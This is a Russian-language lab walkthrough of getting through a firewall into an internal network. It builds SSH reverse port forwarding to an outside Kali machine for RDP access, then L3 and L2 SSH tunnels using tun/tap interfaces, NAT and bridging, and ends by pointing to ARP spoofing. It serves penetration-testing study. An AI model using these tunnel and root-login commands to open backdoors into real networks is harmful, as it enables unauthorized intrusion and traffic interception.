---
# System prepended metadata

title: Проникновение вовнутрь периметра инфраструктуры.

---

# Проникновение вовнутрь периметра инфраструктуры. 


В данной статье рассматриваются способы проникновения вовнутрь периметра инфраструктуры с использованием проброса портов, а также организации SSH-тоннеля вовнутрь инфраструктуры.

## Технология SSH Port forwarding 

Имеем данную инфрастуктуру![](https://i.imgur.com/CQWrptI.png)

**Необходимо обойти межсетевой экран и получить доступ на локальное устройство вовнутрь инфраструктуры.**

Для начала попробуем реализовать обычное SSH-соединение между Kali, находящейся за пределами инфраструктуры и Win-10, которая внутри инфрастуктуры.

Ip- адресс Kali: 192.168.137.133
Ip- адрес Win-10: 192.168.1.102

![](https://i.imgur.com/8DPWDE3.png)

**Подключиться изнутри инфрастуктуры вовне по SSH можно! Firewall не блокирует эту возможность.**

![](https://i.imgur.com/t9KYY4C.png)

**Однако осуществить подобное соединение извне инфраструктуры невозможно.**

Наша задача попасть на локальную машинку win-10 извне, обойдя ограничения firewall-a. Для этого нужно будет использовать технологию SSH Port Forwarding или SSH tunneling. **Туннелирование SSH** или **переадресация портов SSH** — это метод передачи произвольных данных по зашифрованному соединению SSH. Туннели SSH позволяют перенаправлять подключения к локальному порту (то есть к порту на вашем собственном рабочем столе) на удаленную машину по защищенному каналу. 

**То есть подключаясь к некоторому порту на нашей Kali, наше соединение будет переадресовываться непосредственно на Win-10.**

Реализуем данную технологию, прописав на Win-10 следующую команду. 

> **ssh -R 3395:locahost:3389 user@192.168.137.133**

* 3395 - порт на kali, при подключении к которому, мы будем подключаться к Win-10
* locahost:3389 - адрес и порт самой WIn-10, порт 3389 - это RDP (для осуществления удаленного доступа)
* user@192.168.137.133 - пользователь и адрес Kali


![](https://i.imgur.com/yBBkv0T.png)

На Kali появился порт 3395

![](https://i.imgur.com/uMGhEFF.png)

Попробуем подключиться.

![](https://i.imgur.com/LbTuHOc.png)

**Соединение установлено!** 
Доступ к Win-10 есть.

![](https://i.imgur.com/P9WgFfE.png)

Но как только мы прервали SSH-соединение на Win-10, порт 3395 на Kali пропал. 

![](https://i.imgur.com/5X08sxF.png)

**Кроме того, можно реализовать подключение к любой машинке, находящейся внутри инфраструктуры, просто заменив locahost на адрес той машинке, к которой необходимо получить досутп!**


## Технология SSH Tunneling L3

Теперь попробуем реализовать **SSH-туннелирование**. 

В рамках SSH-туннелирования устанавливается соединение между клиентом и сервером, оно зашифровывается и тем самым позволяет защитить конфиденциальность и целостность данных.

SSH-туннели применяются для:

* Предоставления зашифрованных каналов для протоколов, использующих открытый текст
* Открытия бэкдоров в частные сети
* Обхода сетевых экранов

Нам интересен непосредственно обход сетвого экрана.

Для начала нужно подключить **SSH tunneling**  на Kali, так же нужно убедиться, что конфигурационный файл сервера в принципе существует потому что **Клиент OpenSSH** может нормально работать без файла конфигурации, а вот **Сервер OpenSSH** не может работать без своего файла конфигурации.

**Запускаем файл config**

> **nano /etc/ssh/sshd_config**

![](https://i.imgur.com/DkD4N58.png)

**Разрешим логиниться от root.**

![](https://i.imgur.com/fGEhpz5.png)

**Включаем туннелирование.**

![](https://i.imgur.com/zAyTKgz.png)

**Перезапускаем SSH-сервер.**
> **service ssh restart**

![](https://i.imgur.com/RCEzz3j.png)

Теперь есть возможность логиниться от root, однако сначала **нужно поменять пароль**.
> **passwd root**

![](https://i.imgur.com/lDn5XaI.png)

Для реализации туннелирования нам необходимо использовать **TUN - интерфейсы.**

**Tun/tap interfaces** - это функция, предоставляемая Linux (и, возможно, другими UNIX-подобными операционными системами), которая может выполнять userspace networking, то есть, разрешить программе пространства пользователя просматривать исходный сетевой трафик (на уровне Ethernet или IP) и выполнять любые подобные операции.

Tun / Tap интерфейсы - **software-only interfaces**, Что означает, что они существуют только в ядре, и в отличие от обычных сетевых интерфейсов, у них нет физических аппаратных компонентов.

Создаем нулевой tun интерфейс на Debian и Kali.
* 192.168.137.133 - Ip-адрес Kali
 
![](https://i.imgur.com/CXPnSKs.png)

![](https://i.imgur.com/PNmOll1.png)

Появился tun-интерфейс, но он пока выключен.

Настроим IP на tun интерфейсе.

> **ip addr add 10.8.0.1/24 dev tun0**

![](https://i.imgur.com/ADbbJZA.png)

Включаем интерфейс.

> **ip link set tun0 up**

![](https://i.imgur.com/i6a19I7.png)

Появился Ip-адрес, и интерфейс включен.

![](https://i.imgur.com/tjZX3n8.png)

Повторим те же действия на Debian-машинке.

![](https://i.imgur.com/UJMzP9K.png)

С Kali можно пропинговать Debian.

![](https://i.imgur.com/2XpxK99.png)

Однако пропинговать сетку, а в частности машинку 192.168.1.101 пока не получается

Нам необходимо включить маршрутизацию на нашем debian.

![](https://i.imgur.com/Jh5vnzl.png)

![](https://i.imgur.com/uMJepPY.png)

![](https://i.imgur.com/UXq33Kf.png)

Теперь настроим маршрут на Kali 
> **ip route add 192.168.1.0/24 via 10.8.0.2**

![](https://i.imgur.com/nW7DuiP.png)

Теперь все пингуется.

![](https://i.imgur.com/ManG1oy.png)

Ну почти все.. Файрвол все еще не пингуется.

![](https://i.imgur.com/X048FYJ.png)

Реализуем NAT на debian машинке
> **iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE**

![](https://i.imgur.com/w6oI9jN.png)

Файрвол пингуется

![](https://i.imgur.com/KGCoWtk.png)



## Технология SSH Tunneling L2

![](https://i.imgur.com/SAMF3dp.png)

Произведем обновление.
> **apt update**

![](https://i.imgur.com/VJpCYL1.png)

![](https://i.imgur.com/n8VGQ1b.png)

Докачаем пакет bridge-utils
> **apt install bridge-utils**

![](https://i.imgur.com/5N2wGuD.png)

Изменим конфигурации настроек сети
Автоматически будут подниматься два порта, и их объединяющий бридж.

![](https://i.imgur.com/QwQLx5r.png)

Перезапустим сетевой сервер. Настройки изменились!
> **service networking restart**

![](https://i.imgur.com/rvypzpP.png)

Далее из Debian-машинки по ssh подключаемся к Kali, создавая туннель
> **ssh root@192.168.137.133 -o Tunnel=ethernet -w any:any**

![](https://i.imgur.com/OdPdOBb.png)

На Kali появился tap интерфейс

![](https://i.imgur.com/J7mRvJd.png)

И на Debian тоже появился tap интерфейс.

![](https://i.imgur.com/FNps277.png)

Добавим появившийся tap интерфейс в Debian к bridge:
> **brctl addif br0 tap0**

![](https://i.imgur.com/cyaFVxo.png)

Поднимем интерфейс и проверим его состояние.
> **ip link set dev tap0 up**

![](https://i.imgur.com/VcJLZ01.png)

Так же поднимаем tap0 в Kali.

![](https://i.imgur.com/z1mXXcU.png)

**Теперь с помощью dhclient мы можем получить на tap0 интерфейс ip-адрес!**

![](https://i.imgur.com/ASiFrqT.png)

***И в итоге мы получаем доступ к внутренней сети на уровне L2***

![](https://i.imgur.com/4JGNHc7.png)


**Теперь есть возможность провести ARP-spoofing или же подключиться к файрволу.**

***ARP-spoofing**  — техника сетевой атаки, применяемая преимущественно в Ethernet, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.*





